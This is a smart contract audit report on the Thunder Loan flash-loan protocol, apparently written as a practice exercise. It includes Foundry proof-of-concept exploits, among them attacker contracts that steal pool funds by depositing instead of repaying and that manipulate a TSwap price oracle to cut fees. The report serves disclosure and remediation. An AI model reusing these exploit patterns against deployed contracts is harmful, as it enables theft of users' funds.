SMART CONTRACT SECURITY REVIEW

Thunder Loan Audit Report

Thunder Loan

Version 1.0

Joev
Independent Smart Contract Security Researcher

June 24, 2026

Table of Contents

About the Auditor

Joev is an independent smart contract security researcher.

- GitHub: https://github.com/joevly

Disclaimer

This document records a time-boxed security review performed by Joev on the specific code and commit identified in *Audit Details*. It describes the issues found within that window and is **not** a guarantee that the code is free of vulnerabilities — a clean report lowers risk, it does not remove it.

The review covers only the on-chain Solidity implementation in scope. Off-chain components, economic and incentive design, governance, deployment configuration, and third-party dependencies are out of scope unless explicitly stated. This review is not an endorsement of the protocol, its team, or its business, and nothing here is financial, investment, or legal advice. Ongoing testing, monitoring, and independent review remain the responsibility of the protocol team.

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Audit Details

The findings in this document correspond to the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
```

```
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- **Solc version:** 0.8.20
- **Chain(s) to deploy to:** Ethereum Mainnet.
- **ERC20s:** USDC, DAI, LINK, WETH.

Roles

- **Owner:** The owner of the protocol who has the power to upgrade the implementation.
- **Liquidity Provider:** A user who deposits assets into the protocol to earn interest.
- **User:** A user who takes out flash loans from the protocol.

Methodology & Tools

This review combined:

- **Manual review** — line-by-line reading of the in-scope contracts and the planned `ThunderLoanUpgraded` implementation, focused on the flash-loan accounting, the asset-token exchange rate, price-oracle dependence, and upgrade safety.
- **Storage-layout review** — comparing `ThunderLoan` and `ThunderLoanUpgraded` storage slots to catch collisions introduced by the upgrade.
- **Dynamic testing** — Foundry proof-of-concept exploits for the oracle price manipulation, the deposit-over-repay fund theft, and the post-upgrade storage collision.

Risk Classification

Severity is a function of **likelihood** (how easily the issue can be triggered) and **impact** (how damaging it is if triggered):

		Impact		
		High	Medium	Low
Likelihood	High	Critical	High	Medium
	Medium	High	Medium	Low
	Low	Medium	Low	Low

This Critical / High / Medium / Low model is the de-facto standard among audit firms and bug-bounty platforms (e.g. Cantina, OpenZeppelin, Immunefi). Informational and Gas findings sit outside the matrix as code-quality and optimization notes.

Severity Definitions

- **Critical** — directly and easily exploitable loss or theft of funds, or full protocol compromise. Must be fixed before deployment.

- **High** — loss of funds or a broken core invariant under realistic conditions; urgent fix.
- **Medium** — conditional or bounded harm, or protocol disruption where recovery is likely; fix recommended.
- **Low** — limited impact, unlikely preconditions, or a deviation from best practice with minor effect.
- **Informational** — no direct security impact: code quality, readability, unused code, events.
- **Gas** — optimizations that reduce gas with no change to behavior.

Executive Summary

The audit process took more than week due to the many new vulnerabilities and hacking patterns I hadn't encountered before. I discovered over 4 vulnerabilities for this protocol. Because I thought this was for learn, I wrote the high and medium severity only. In this protocol, I saw and learned a lot vulnerabilities as oracle price manipulation, storage collison, centralization, How the flash loan work, and others.

Issues found

Severity	Number of issues found
Critical	0
High	3
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings Summary

ID	Short title	Severity	Status
H-1	`deposit` wrongly updates the exchange rate	High	Open
H-2	Deposit-instead-of-repay steals protocol funds	High	Open
H-3	Storage collision after upgrade freezes protocol	High	Open
M-1	TSwap used as oracle enables price manipulation	Medium	Open

Findings

Critical

No critical severity issues found.

High

HIGH [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, update this rate, without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        // @audit-high
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug.

1. the `redeem` function is blocked, because protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem.

Place the following into `ThunderLoanTest.t.sol`

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow,
"");
        vm.stopPrank();
        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Removed the incorrect updated exchange rate lines from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
```

```
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

HIGH [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol

Description: The `ThunderLoan::flashloan` function only verifies that the underlying balance of the `AssetToken` contract increased by `amount + fee` at the end of the loan (`endingBalance >= startingBalance + fee`). It never enforces that the funds were returned through `ThunderLoan::repay`. Because of this, a borrower can return the funds by calling `ThunderLoan::deposit` instead of `ThunderLoan::repay`. Both functions move the underlying tokens into the `AssetToken` contract, so the repayment check passes — but `deposit` additionally mints the caller `AssetToken` shares, recording them as a legitimate liquidity provider for tokens that were actually borrowed.

Impact: After the flash loan resolves, the attacker calls `ThunderLoan::redeem` to withdraw the underlying tokens corresponding to those shares. This drains the borrowed principal back out of the pool, allowing the attacker to steal funds from the protocol and causing liquidity providers to lose their money.

Proof of Concept:

Place the following into `ThunderLoanTest.t.sol`

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits
{
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay depositOverRepay = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(depositOverRepay), fee);
        thunderLoan.flashloan(address(depositOverRepay), tokenA, amountToBorrow, "");
        depositOverRepay.redeemMoney();
        vm.stopPrank();

        console2.log("User Balance: ", tokenA.balanceOf(address(depositOverRepay)));
        console2.log("Amount Borrowed + Fee ", amountToBorrow + fee);
        // Because deposit() function in thunderLoan changes the exchange rate
        assertGt(tokenA.balanceOf(address(depositOverRepay)), amountToBorrow + fee);
    }

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
```

```
        uint256 amount,
        uint256 fee,
        address,
        /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

The attacker funded only the `fee` at the start, yet ends up holding `amountToBorrow + fee` (and slightly more, because the exchange-rate bug from H-1 inflates the value of the minted shares). The surplus over the `fee` is liquidity stolen from the protocol. In the run below, the attacker's final balance (`50.157e18`) exceeds the `amountToBorrow + fee` it deposited (`50.15e18`), proving funds were withdrawn that should have remained in the pool.

```
Logs:
  User Balance:           50157185829891086986
  Amount Borrowed + Fee:  50150000000000000000
```

Recommended Mitigation: Add a check in `deposit` to make it impossible to use it in the same block of a flash loan. For example, registering the block number on flash loan, or simply disallowing `deposit` while a flash loan is in progress.

The cleanest approach is to track that a flash loan is currently active for the token and block deposits during it:

```
+   error ThunderLoan__CurrentlyFlashLoaning();

    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
+       if (s_currentlyFlashLoaning[token]) {
+           revert ThunderLoan__CurrentlyFlashLoaning();
+       }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

This forces flash loan borrowers to return funds through `ThunderLoan::repay`, which does not mint `AssetToken` shares, so the borrowed amount can no longer be withdrawn through `redeem`.

HIGH [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You can't adjust the position of storage variables and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecison`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will storage in the wrong storage slot.

Proof of Concept:

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
ThunderLoanUpgraded.sol";
.
.
.
    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee Before: ", feeBeforeUpgrade);
        console2.log("Fee After: ", feeAfterUpgrade);
        assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee;
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee;
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

MEDIUM [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (Automated Market Maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers with drastically reduced fees for providing liquidity.

Proof of Concept:

Place the following into `ThunderLoanTest.t.sol`

```
function testOracleManipulation() public {
        // 1. Setup contracts!
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(address(weth));
        // Create a TSwap Dex between WETH / TokenA
        address tswapPool = poolFactory.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(poolFactory));

        // 2. Fund TSwap
        uint256 TOKEN_MINT_AMOUNT = 100e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, TOKEN_MINT_AMOUNT);
        tokenA.approve(address(tswapPool), TOKEN_MINT_AMOUNT);
        weth.mint(liquidityProvider, TOKEN_MINT_AMOUNT);
        weth.approve(address(tswapPool), TOKEN_MINT_AMOUNT);
        BuffMockTSwap(tswapPool).deposit(TOKEN_MINT_AMOUNT, TOKEN_MINT_AMOUNT,
TOKEN_MINT_AMOUNT, block.timestamp);
        vm.stopPrank();
        // Ratio 100 WETH & 100 TokenA
        // Price -> 1:1

        // 3. Fund ThunderLoan
        // Set allow
        uint256 LARGE_AMOUNT = 1000e18; // this balance for trigger oracle manipulation
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, LARGE_AMOUNT);
        tokenA.approve(address(thunderLoan), LARGE_AMOUNT);
        thunderLoan.deposit(tokenA, LARGE_AMOUNT);
        vm.stopPrank();

        // 100 WETH & 100 TokenA is TSwap
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 tokenA
        // Swap it on the dex, tanking the price > 150 TokenA -> ~80 WETH
        // Take out ANOTHER flash loan of 50 tokenA and we'll see how much cheaper it
is!!

        // 4. We are going to take out 2 flash loan
```

```
        //      a. To nuke the price of the Weth/tokenA on TSwap
        //      b. To show that doing so greatly reduces the fees we pay on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal Fee is: ", normalFeeCost);

        uint256 amountToBorrow = 50e18; // we gonna do this twice
        MaliciousFlashLoanReceiver flashLoanReceiver = new
MaliciousFlashLoanReceiver(tswapPool, address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flashLoanReceiver), 100e18);
        thunderLoan.flashloan(address(flashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flashLoanReceiver.feeOne() + flashLoanReceiver.feeTwo();
        console2.log("attack Fee is: ", attackFee);
        assertLt(attackFee, normalFeeCost);
    }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out ANOTHER flash loan to show the difference

    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap TokenA borrowed for WETH
            // 2. Take out ANOTHER flash loan to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18,
100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price!!
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought,
block.timestamp);
```

```
            // We call a second flash loan!!
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }

        return true;
    }
}
```

You can see that the actual fee is lower than the true fee in the output:

```
  Normal Fee is:  296147410319118389
  attack Fee is:  214167600932190305
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

No low severity issues found.

Informational

No informational issues found.

Gas

No gas optimizations reported.